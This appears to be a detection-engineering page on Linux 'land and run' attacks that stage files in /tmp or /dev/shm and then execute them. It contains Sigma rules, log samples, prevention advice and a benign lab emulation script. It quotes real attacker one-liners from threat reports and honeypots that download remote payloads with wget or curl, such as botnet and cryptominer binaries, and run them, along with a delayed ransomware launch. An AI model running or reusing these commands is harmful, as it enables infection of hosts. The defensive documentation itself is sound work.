Attack Chokepoints 3 invariant stages
Applying the chokepoint framework to Linux Shared-Writable Staging to Execution (Land and Run). Learn the framework →
- Delivery method (scp, wget, curl, heredoc, C2 upload, lateral scp)
- Execution method (direct binary, bash, sh, python3, perl, cron, nohup)
- File naming and path within staging directories
- Timing between staging and execution
- Whether to use dot-prefix for hiding
- The file write to a staging directory generating a kernel-mediated event
- The unavoidable consumption of the staged file: to have any effect it must be executed, passed to an interpreter, or sourced. Whether that consumption is observable depends on configured telemetry (execve for direct execution; command-line arguments for interpreter consumption; file-read monitoring for a sourced script that uses only shell builtins)
- The fact that both events are host-local and, when file-write and process-creation telemetry is configured, recorded and linkable by path
- That tmpfs-backed paths (/dev/shm) still generate file-write events
1 Land ▶
- A Linux host with /tmp, /var/tmp or /dev/shm present (virtually all distributions)
- Code that is not already on the host (living-off-the-land commands with no new code are out of scope)
- File-create telemetry with the writing process (Sysmon for Linux Event ID 11, or auditd watches on writable paths)
- Process-creation telemetry for every parent, including crond and systemd (Sysmon for Linux Event ID 1, or auditd execve)
- Sysmon for Linux Event ID 11 (File Create)
- auditd: syscall watch -w /tmp -p wa -k file_land (and /dev/shm, /var/tmp, /var/spool/cron)
2 Run ▶
- Sysmon for Linux Event ID 1 (Process Creation)
- auditd: -a always,exit -F arch=b64 -S execve -F key=exec_log (and b32)
3 Land Then Run on the Same Host ▶
- Sysmon for Linux Event IDs 1 and 11
- auditd execve plus file watches
Variations 7 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
C0XMO/Gafgyt: SSH brute force, wget to /tmp, direct execution with cron persistence 2026-03 Active ▶
cd /tmp; wget -q hxxp://[C2]/bot[.]arch -O .cache; chmod 777 .cache; ./.cache; rm -f .cache
- Fortinet FortiGuard Labs, C0XMO analysis, 2026
Rocke Group: cryptominer staged to /var/tmp with cron and systemd persistence 2019-01 Active ▶
(curl -fsSL --connect-timeout 120 hxxps://master[.]minerxmr[.]ru/One/x1 -o /var/tmp/kworkerds||wget hxxps://master[.]minerxmr[.]ru/One/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
- Red Canary / Zscaler, Rocke cryptominer analysis, 2019
- Intezer, Rocke Group analysis, 2021
UNC3944: SCP to /tmp on ESXi, nohup execution with time delay 2025-07 Active ▶
chmod 0777 encrypt.out; cp encrypt.out encrypt_.out; nohup sh -c 'sleep 14400 && /encrypt_.out -pass [REDACTED] -skip_vms /list.txt' &
- Google Cloud Threat Intelligence, UNC3944/Scattered Spider analysis, 2025
Payload over the SSH channel, run by cron (honeypot) 2026-04 Active ▶
cd "/tmp" && if [ ! -f "w[.]sh" ]; then cat > "w[.]sh" && chmod +x w[.]sh; fi
- Honeypot transcript, session 8596ef87-77a4-4b79-afcb-ddc279fe4ace
Download to a file, run directly (honeypot) 2026-05 Active ▶
wget hxxp://src-3856:8080/bot.amd64 -O bot; chmod 777 bot; ./bot telnet.amd64; rm -f bot
- Honeypot transcript, session ae6fc296-6cd7-4590-a316-8721cf8a4e96
scp pull with an embedded key, run through sh (honeypot) 2026-06 Active ▶
cd /tmp; echo '<private-key-redacted>' > key.ppk; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@dst-002:sh out_sh; ...
- Honeypot transcript, session 7a0ffac4-1397-463f-a8dd-4fcd3061f985
Stage and run split across SSH connections (honeypot) 2026-09 Active ▶
perl /tmp/solid.pl >/dev/null 2>&1;rm -rf /tmp/solid*;uname -a
- Honeypot transcript, session 81442679-d87f-4e90-84f1-bf335ea61fbc
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Research rule
High FP
▶
Any file created under /tmp/, /var/tmp/ or /dev/shm/. Baseline of which processes and users normally write there.
title: Writable-Directory Stage-and-Execute - Payload Staging in Temp Directories (Research)
id: 34c48548-c78a-4325-bf2a-9d7e359fc1dc
status: experimental
description: >
Detects file creation in common payload staging directories on Linux hosts.
Research level — high false positive rate from system activity. Use for
baselining what normally writes to these paths before tuning. Lab-validated
2026-09-28: seven current delivery methods (scp, heredoc, base64, echo pipe,
python write, C2 upload, lateral scp) generated file_land events on Debian 12
and Rocky 9 targets. 26 file_land events on deb12, 30 on rocky9. The revised
T08 cron-spool write succeeded at script level on 2026-10-04 but has no
auditd file_land receipt, so it is not telemetry-validated. System noise is
significant — dracut, systemd-private, package managers — and must be
baselined before hunting.
references:
- https://attack.mitre.org/techniques/T1105/
- https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo
- https://www.zscaler.com/blogs/cybersecurity-best-practices/rocke-cryptominer
- https://github.com/iimp0ster/detection-chokepoints
author: "Jenna Frank (co-conspirator: SancLogic)"
date: 2026-09-28
modified: 2026-10-04
tags:
- attack.command-and-control
- attack.t1105
logsource:
product: linux
category: file_event
detection:
selection:
TargetFilename|startswith:
- '/tmp/'
- '/dev/shm/'
- '/var/tmp/'
condition: selection
falsepositives:
- System package managers writing temp files
- systemd-private tmp directory activity
- Application update mechanisms
level: informational
Hunt rule
Med FP
▶
Direct: Image starts with /tmp/, /var/tmp/ or /dev/shm/. Interpreter: Image is a known interpreter (bash, sh, python3, python, perl) and CommandLine contains a staging directory path. Both exclude systemd-private, dracut, and initramfs paths.
title: Writable-Directory Stage-and-Execute - Process Execution from Staging Directory (Hunt)
id: d5a6c3ad-48e6-4fb2-bf1d-109a7900213a
status: experimental
description: >
Detects process execution involving a staging directory, covering two
paths. Direct: the binary itself lives under /tmp, /dev/shm, or /var/tmp.
Interpreter: a shell or scripting interpreter consumes a file from a
staging directory (visible in CommandLine). Excludes known system paths
to reduce noise. Hunt level — medium false positive rate. Lab-validated
2026-09-28. Direct path caught T02 chmod+exec and Sliver /tmp/.update.
Interpreter path caught T01 bash, T03 heredoc, T04 base64, T06 python3.
Field-grounded: C0XMO direct execution of /tmp/.cache would match
selection_direct.
references:
- https://attack.mitre.org/techniques/T1059/004/
- https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo
- https://www.zscaler.com/blogs/cybersecurity-best-practices/rocke-cryptominer
- https://github.com/iimp0ster/detection-chokepoints
author: "Jenna Frank (co-conspirator: SancLogic)"
date: 2026-09-28
modified: 2026-10-04
tags:
- attack.execution
- attack.t1059.004
logsource:
product: linux
category: process_creation
detection:
selection_direct:
Image|startswith:
- '/tmp/'
- '/dev/shm/'
- '/var/tmp/'
selection_interpreter:
Image|endswith:
- '/bash'
- '/sh'
- '/python3'
- '/python'
- '/perl'
CommandLine|contains:
- '/tmp/'
- '/dev/shm/'
- '/var/tmp/'
filter_main_system:
Image|contains:
- 'systemd-private'
- 'dracut'
- 'initramfs'
filter_main_interpreter_system:
CommandLine|contains:
- 'systemd-private'
- 'dracut'
- 'initramfs'
condition: (selection_direct and not filter_main_system) or (selection_interpreter and not filter_main_interpreter_system)
falsepositives:
- Legitimate admin scripts stored in /tmp during maintenance
- Configuration management tools (Ansible, Puppet) staging in /tmp
- Package manager post-install scripts referencing /tmp
level: medium
Analyst rule
Low FP
▶
Direct: Image starts with /tmp/., /dev/shm/., or /var/tmp/. Interpreter: a known interpreter with a dot-prefixed staging path in CommandLine. Cron: ParentImage ends with /cron and Image starts with a staging directory. Low false-positive: legitimate software rarely uses hidden files in /tmp.
title: Writable-Directory Stage-and-Execute - Hidden File Execution from Staging Directory (Analyst)
id: 05b1a367-d439-4914-bcc9-add33c7b7e2e
status: experimental
description: >
Detects execution of hidden (dot-prefixed) files from staging directories,
covering direct execution (binary at /tmp/.) and interpreter consumption
(bash /tmp/.x visible in CommandLine). Also catches cron-launched execution
from staging paths. Analyst level — low false positive rate, SOC-deployable.
Hidden files in /tmp and /dev/shm are a strong indicator of attacker staging;
legitimate software rarely uses this pattern. Lab-validated 2026-09-28:
Sliver /tmp/.update, /dev/shm/.cache, /dev/shm/.payload all matched.
Field-grounded: C0XMO /tmp/.cache would match selection_hidden_direct.
references:
- https://attack.mitre.org/techniques/T1059/004/
- https://attack.mitre.org/techniques/T1105/
- https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo
- https://www.zscaler.com/blogs/cybersecurity-best-practices/rocke-cryptominer
- https://attack.mitre.org/techniques/T1564/001/
- https://github.com/iimp0ster/detection-chokepoints
author: "Jenna Frank (co-conspirator: SancLogic)"
date: 2026-09-28
modified: 2026-10-05
tags:
- attack.execution
- attack.t1059.004
- attack.stealth
- attack.t1564.001
logsource:
product: linux
category: process_creation
detection:
selection_hidden_direct:
Image|startswith:
- '/tmp/.'
- '/dev/shm/.'
- '/var/tmp/.'
selection_hidden_interpreter:
Image|endswith:
- '/bash'
- '/sh'
- '/python3'
- '/python'
- '/perl'
CommandLine|contains:
- '/tmp/.'
- '/dev/shm/.'
- '/var/tmp/.'
selection_cron_from_staging:
ParentImage|endswith:
- '/cron'
- '/crond'
Image|startswith:
- '/tmp/'
- '/dev/shm/'
- '/var/tmp/'
condition: selection_hidden_direct or selection_hidden_interpreter or selection_cron_from_staging
falsepositives:
- Legitimate hidden temp files from build systems (rare in /tmp)
level: high
Prevention
Remove the access that delivers the code, and make the staging directories unusable for execution. Egress filtering alone does not help when the attacker tunnels C2 through the access channel — the firewall never sees outbound traffic.
Mount /tmp, /var/tmp and /dev/shm with noexec
Blocks direct execution from those paths; interpreter consumption (sh /tmp/w.sh) still works, so pair with the hunt rule
Key-based SSH authentication only; disable password login on internet-facing hosts
Removes the credential-guessing delivery path used by C0XMO, Rocke, and every honeypot session
Restrict or alert on crontab and systemd user-unit changes by non-administrative processes
Removes or exposes the deferred launcher used by 86.22% of linked honeypot runs and by C0XMO and Rocke in the wild
Egress filtering for download utilities (wget, curl, tftp) to known-bad or uncategorised destinations
Blocks the fetch-to-file delivery variant (463 honeypot sessions, Rocke, C0XMO). Does not block stdin-to-file or scp delivery.
Raw Log Samples 7 samples
Detection-relevant event examples. Each card identifies its evidence basis and the Sigma tiers it exercises.
EID SYSCALL + PATH auditd file_land File write to staging directory — the 'land' side of the chokepoint Research ▶
type=SYSCALL ... key="file_land" ... exe="/usr/lib/openssh/sftp-server" ... auid=1001(sanc)
type=PATH ... name="/tmp/t01.sh" ... ouid=1001(sanc)
EID SYSCALL + EXECVE auditd exec_log Process execution — the 'run' side of the chokepoint HuntAnalyst ▶
type=SYSCALL ... key="exec_log" ... exe="/usr/bin/bash" ... auid=1001(sanc)
type=EXECVE ... a0="/usr/bin/bash" a1="/tmp/t01.sh"
EID 1 Sysmon for Linux Event ID 1 Process creation with full command line HuntAnalyst ▶
<Event><System><EventID>1</EventID></System><EventData>
<Data Name="Image">/tmp/.update</Data>
<Data Name="CommandLine">chmod +x /tmp/.update && /tmp/.update &</Data>
<Data Name="User">sanc</Data></EventData></Event>
EID syslog CHOKEPOINT marker Marker payloads confirming each delivery/execution variant ResearchHunt ▶
Sep 28 04:12:08 deb12 CHOKEPOINT[861]: marker=T01 land=scp run=bash
Sep 28 04:13:10 deb12 CHOKEPOINT[893]: marker=T02 land=scp run=chmod+exec
Sep 28 04:13:48 deb12 CHOKEPOINT[917]: marker=T03 land=heredoc run=bash
Sep 28 04:14:27 deb12 CHOKEPOINT[941]: marker=T04 land=base64 run=decode+exec
Sep 28 04:27:27 deb12 CHOKEPOINT[995]: marker=T05 land=echo_pipe run=source
Sep 28 04:28:58 deb12 CHOKEPOINT[1069]: marker=T_PY land=python_write run=python_exec
EID command SSH honeypot command transcript (custom asyncssh emulated shell) Land: a download to a file in the same request that runs it ResearchAnalyst ▶
{"event": "command", "session_id": "ae6fc296-6cd7-4590-a316-8721cf8a4e96", "timestamp": "2026-08-10T23:55:06.192970+00:00", "source_ip": "src-3856", "command": "wget hxxp://src-3856:8080/bot.amd64 -O bot", "mitre_tags": [{"id": "T1105", "name": "Ingress Tool Transfer", "tactic": "Command and Control"}]}
EID command SSH honeypot command transcript (custom asyncssh emulated shell) Land over stdin: the cat > "w.sh" part of a chained line; the same session later names w.sh in a cron line ResearchAnalyst ▶
{"event": "command", "session_id": "8596ef87-77a4-4b79-afcb-ddc279fe4ace", "timestamp": "2026-05-06T21:57:18.046477+00:00", "source_ip": "src-185", "command": "then cat > \"w[.]sh\"", "mitre_tags": []}
EID command SSH honeypot command transcript (custom asyncssh emulated shell) Run through an interpreter in a new SSH connection, 3 s after the same source pushed the file with scp -t in another connection HuntAnalyst ▶
{"event": "command", "session_id": "81442679-d87f-4e90-84f1-bf335ea61fbc", "timestamp": "2026-09-08T20:27:04.375327+00:00", "source_ip": "src-5063", "command": "perl /tmp/solid.pl >/dev/null 2>&1;rm -rf /tmp/solid*;uname -a", "mitre_tags": [{"id": "T1082", "name": "System Information Discovery", "tactic": "Discovery"}]}
Emulation
ATT&CK: T1059.004, T1105, T1053.003 Benign marker payloads staged to /tmp and /dev/shm, run several ways. Lab run 2026-09-28 predates the T08 revision; T08 (cron spool write) is not yet validated. shell ▶
#!/bin/bash
# Writable-Directory Stage-and-Execute Chokepoint Emulation
# SafetyNotes: Run ONLY in an isolated lab VM. Do NOT run on production hosts.
# This script generates benign telemetry to validate auditd and Sysmon rules.
# AtomicRef: T1059.004, T1105, T1053.003
#
# Prerequisites:
# - auditd running with execve watches (-S execve -k exec_log)
# - auditd file watches (-w /tmp -p wa -k file_land, /dev/shm, /var/tmp, /var/spool/cron)
# - Sysmon for Linux running with process create (EID 1) and file create (EID 11)
#
# After running, verify with:
# sudo ausearch -k exec_log -ts recent
# sudo ausearch -k file_land -ts recent
# sudo journalctl -t CHOKEPOINT_EMULATION --no-pager
set -euo pipefail
# Safety gate: require explicit opt-in to prevent accidental production runs
if [ "${CHOKEPOINT_LAB:-0}" != "1" ]; then
echo "ERROR: Set CHOKEPOINT_LAB=1 to confirm you are running in an isolated lab VM."
echo "Usage: CHOKEPOINT_LAB=1 bash emulate.sh"
exit 1
fi
MARKER_TAG="CHOKEPOINT_EMULATION"
PASS=0
FAIL=0
log_result() {
local id="$1" result="$2" desc="$3"
if [ "$result" = "OK" ]; then
echo "[+] ${id}: ${desc}"
PASS=$((PASS + 1))
else
echo "[-] ${id}: ${desc} — FAILED"
FAIL=$((FAIL + 1))
fi
}
echo "============================================"
echo " Writable-Directory Stage-and-Execute"
echo " Chokepoint Emulation"
echo " Generates detection telemetry ONLY"
echo " $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo "============================================"
echo ""
# T01: File write to /tmp + bash execution (simulates scp delivery)
echo "[T01] File write to /tmp + bash execution"
cat > /tmp/emulate_t01.sh << 'PAYLOAD'
#!/bin/bash
logger -t CHOKEPOINT_EMULATION "T01 land=file_write run=bash host=$(hostname) ts=$(date -u +%s)"
PAYLOAD
bash /tmp/emulate_t01.sh && log_result "T01" "OK" "scp land, bash run" || log_result "T01" "FAIL" "scp land, bash run"
# T02: File write + chmod + direct execution
echo "[T02] File write to /tmp + chmod + exec"
cat > /tmp/emulate_t02.sh << 'PAYLOAD'
#!/bin/bash
logger -t CHOKEPOINT_EMULATION "T02 land=file_write run=chmod_exec host=$(hostname) ts=$(date -u +%s)"
PAYLOAD
chmod +x /tmp/emulate_t02.sh
/tmp/emulate_t02.sh && log_result "T02" "OK" "scp land, chmod+exec run" || log_result "T02" "FAIL" "scp land, chmod+exec run"
# T03: Heredoc write + bash execution
echo "[T03] Heredoc write to /tmp + bash execution"
cat << 'EOF' > /tmp/emulate_t03.sh
#!/bin/bash
logger -t CHOKEPOINT_EMULATION "T03 land=heredoc run=bash host=$(hostname) ts=$(date -u +%s)"
EOF
bash /tmp/emulate_t03.sh && log_result "T03" "OK" "heredoc land, bash run" || log_result "T03" "FAIL" "heredoc land, bash run"
# T04: Base64 decode + execution
echo "[T04] Base64 decode to /tmp + execution"
B64=$(echo '#!/bin/bash
logger -t CHOKEPOINT_EMULATION "T04 land=base64 run=decode_exec host=$(hostname) ts=$(date -u +%s)"' | base64 -w0)
echo "${B64}" | base64 -d > /tmp/emulate_t04.sh
bash /tmp/emulate_t04.sh && log_result "T04" "OK" "base64 land, decode+exec run" || log_result "T04" "FAIL" "base64 land, decode+exec run"
# T05: Echo pipe + source execution
echo "[T05] Echo pipe to /tmp + source execution"
echo 'logger -t CHOKEPOINT_EMULATION "T05 land=echo_pipe run=source host=$(hostname) ts=$(date -u +%s)"' > /tmp/emulate_t05.sh
source /tmp/emulate_t05.sh && log_result "T05" "OK" "echo land, source run" || log_result "T05" "FAIL" "echo land, source run"
# T06: Python write + python execution
echo "[T06] Python write to /tmp + python3 execution"
if command -v python3 &>/dev/null; then
python3 -c "
import pathlib
pathlib.Path('/tmp/emulate_t06.py').write_text('''
import subprocess, socket, time
tag = f\"T06 land=python_write run=python_exec host={socket.gethostname()} ts={int(time.time())}\"
subprocess.run([\"logger\", \"-t\", \"CHOKEPOINT_EMULATION\", tag])
''')
"
python3 /tmp/emulate_t06.py && log_result "T06" "OK" "python write land, python exec run" || log_result "T06" "FAIL" "python write land, python exec run"
else
log_result "T06" "FAIL" "python3 not found — skipped"
fi
# T07: /dev/shm staging (memory-backed tmpfs)
echo "[T07] File write to /dev/shm (tmpfs) + execution"
cat > /dev/shm/.emulate_t07 << 'PAYLOAD'
#!/bin/bash
logger -t CHOKEPOINT_EMULATION "T07 land=devshm run=exec host=$(hostname) ts=$(date -u +%s)"
PAYLOAD
chmod +x /dev/shm/.emulate_t07
/dev/shm/.emulate_t07 && log_result "T07" "OK" "/dev/shm land, chmod+exec run (dot-prefix)" || log_result "T07" "FAIL" "/dev/shm land, chmod+exec run"
# T08: Cron spool write (writes to actual spool directory for file_land validation)
echo "[T08] Cron spool directory write"
SPOOL_DIR=""
if [ -d /var/spool/cron/crontabs ]; then
SPOOL_DIR="/var/spool/cron/crontabs"
elif [ -d /var/spool/cron ]; then
SPOOL_DIR="/var/spool/cron"
fi
if [ -n "$SPOOL_DIR" ]; then
CRON_FILE="${SPOOL_DIR}/emulate_t08_chokepoint"
echo "# CHOKEPOINT_EMULATION T08 — safe to delete" > "$CRON_FILE"
logger -t ${MARKER_TAG} "T08 land=cron_spool run=write_only host=$(hostname) ts=$(date -u +%s)"
log_result "T08" "OK" "cron spool write (file_land on ${SPOOL_DIR})"
else
log_result "T08" "FAIL" "no cron spool directory found — skipped"
fi
echo ""
echo "============================================"
echo " Results: ${PASS} passed, ${FAIL} failed"
echo "============================================"
echo ""
# Cleanup
echo "[*] Cleaning up emulation artifacts"
rm -f /tmp/emulate_t0*.sh /tmp/emulate_t06.py /dev/shm/.emulate_t07 ${SPOOL_DIR:+"${SPOOL_DIR}/emulate_t08_chokepoint"}
echo "[*] Cleanup complete"
echo ""
echo "[*] Verify telemetry:"
echo " sudo ausearch -k exec_log -ts recent | head -40"
echo " sudo ausearch -k file_land -ts recent | head -40"
echo " sudo journalctl -t ${MARKER_TAG} --no-pager"